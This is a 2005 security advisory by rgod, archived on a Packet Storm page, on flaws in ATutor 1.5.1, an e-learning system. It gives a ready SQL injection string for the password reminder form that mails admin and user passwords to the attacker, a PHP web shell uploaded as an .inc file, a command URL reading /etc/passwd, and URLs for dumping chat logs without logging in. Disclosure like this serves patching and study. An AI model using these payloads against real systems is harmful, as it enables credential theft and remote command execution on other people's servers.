what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

atutor-151.txt

atutor-151.txt
Posted Sep 15, 2005
Authored by rgod | Site retrogod.altervista.org

ATutor 1.5.1 is susceptible to SQL injection, credential disclosure, user impersonation, and remote code execution attacks.

tags | exploit, remote, code execution, sql injection
SHA-256 | 8fd011b7f13c91a60cc50ba081cee260b805c26826e6b4a86e5470fc5bc079dd

atutor-151.txt

Change Mirror Download
ATUTOR 1.5.1 (possibly prior versions)
SQL INJECTION / ADMIN & USERS CREDENTIALS DISCLOSURE / INFORMATION DISCLOSURE /
USER IMPERSONATION / REMOTE CODE EXECUTION

software:

site: https://www.atutor.ca/

description: "ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with
accessibility and adaptability in mind. Administrators can install or update ATutor in minutes, and
develop custom templates to give ATutor a new look. Educators can quickly assemble, package, and redistribute
Web-based instructional content, easily retrieve and import prepackaged content, and conduct their courses online.
Students learn in an adaptive learning environment."


a) if magic_quotes_gpc is off in php.ini - > SQL INJECTION
without to have an user account, you can use password remider to send yourself admin
login & password, no need for exploit code:

go to https://[target]/[path]/password_reminder.php

and in the email field type:

' UNION SELECT login, password, 'your_email@domain.com' FROM AT_admins /*

look at the vulnerable code in password_reminder.php:

...
$sql="SELECT login, password, email FROM ".TABLE_PREFIX."members WHERE email='$_POST[form_email]'";
$result = mysql_query($sql,$db);
if ($row = mysql_fetch_assoc($result)) {

$r_login = $row['login'];
$r_passwd= $row['password'];
$r_email = $row['email'];

$tmp_message = _AT(array('password_request2',$_base_href))."\n\n";
$tmp_message .= _AT('web_site').' : '.$_base_href."\n";
$tmp_message .= _AT('login_name').' : '.$r_login."\n";
$tmp_message .= _AT('password').' : '.$r_passwd."\n";

require(AT_INCLUDE_PATH . 'classes/phpmailer/atutormailer.class.php');

$mail = new ATutorMailer;

$mail->From = EMAIL;
$mail->AddAddress($r_email);
$mail->Subject = SITE_NAME . ': ' . _AT('password_reminder');
$mail->Body = $tmp_message;

if(!$mail->Send()) {
//echo 'There was an error sending the message';
$msg->printErrors('SENDING_ERROR');
exit;
}

$msg->addFeedback('PASSWORD_SUCCESS');
...

$_POST[form_email] is not filtered in any way as you can see, so the query become:

SELECT login, password, email FROM AT_members WHERE email='' UNION SELECT login, password, 'your_email@domain.com' FROM AT_admins /*'

/* are the Mysql comment chars so this is a valid query

$r_login and $r_passord are admin user & passord but $r_email is yours! ;)

also, you can have the password of any user typing:

' UNION SELECT login, password, 'your_email@domain.com' FROM AT_members where login='user_whom_you_want_the_password' /*

if you want to see if your course server is vulnerable just type ' in email field, you will have an error like this:

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in
[pathto]/password_reminder.php on line 27

if not, you will see a message like this:

The following errors occurred:
* No account found with that email address.

b) after you have your stealed admin or educator account (yes, an educator can upload xecutable files :) )
you can execute arbitrary commands on target system uploading an .inc file (this extension is not checked)
with php code inside, example:

<?php error_reporting(0); system($HTTP_GET_VARS[cmd]; ?>

then you can launch commands, example:

https://[target]/[path]/atutor/content/2/cmd.inc?cmd=cat%20/etc/passwd

(usually upload dir is 'content' if admin do not change it, and subdir is numbered by the time registration
of user, you can quickly bruteforce the url manually)

look at the list of illegal extensions in config.inc.php:

...
/* Illegal file types, by extension. Include any extensions */
/* you do not want to allow for uploading. (Just the extention */
/* without the leading dot.) */
$IllegalExtentions = array('exe','asp','php','php3','bat','cgi','pl','com','vbs','reg','pcd','pif','scr','bas','inf','vb','vbe','wsc','wsf','wsh');
...

but where are .inc, .php4, .phtml, .html, .pwml and so on if you do not set?
should be better to setup which kind of files you CAN upload...

c) without have an account a user can read chat conversation without to be logged in, making GET requests for
chat temporary files:

example:
https://[target]/[path]/atutor/content/chat/2/msgs/1.message
https://[target]/[path]/atutor/content/chat/2/msgs/2.message
https://[target]/[path]/atutor/content/chat/2/msgs/3.message

ciclyng this GET requests a user can dump all chat archive


rgod
site: https://rgod.altervista.org
mail: retrogod [at] aliceposta.it
original advisory: https://rgod.altervista.org/atutor151.html
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close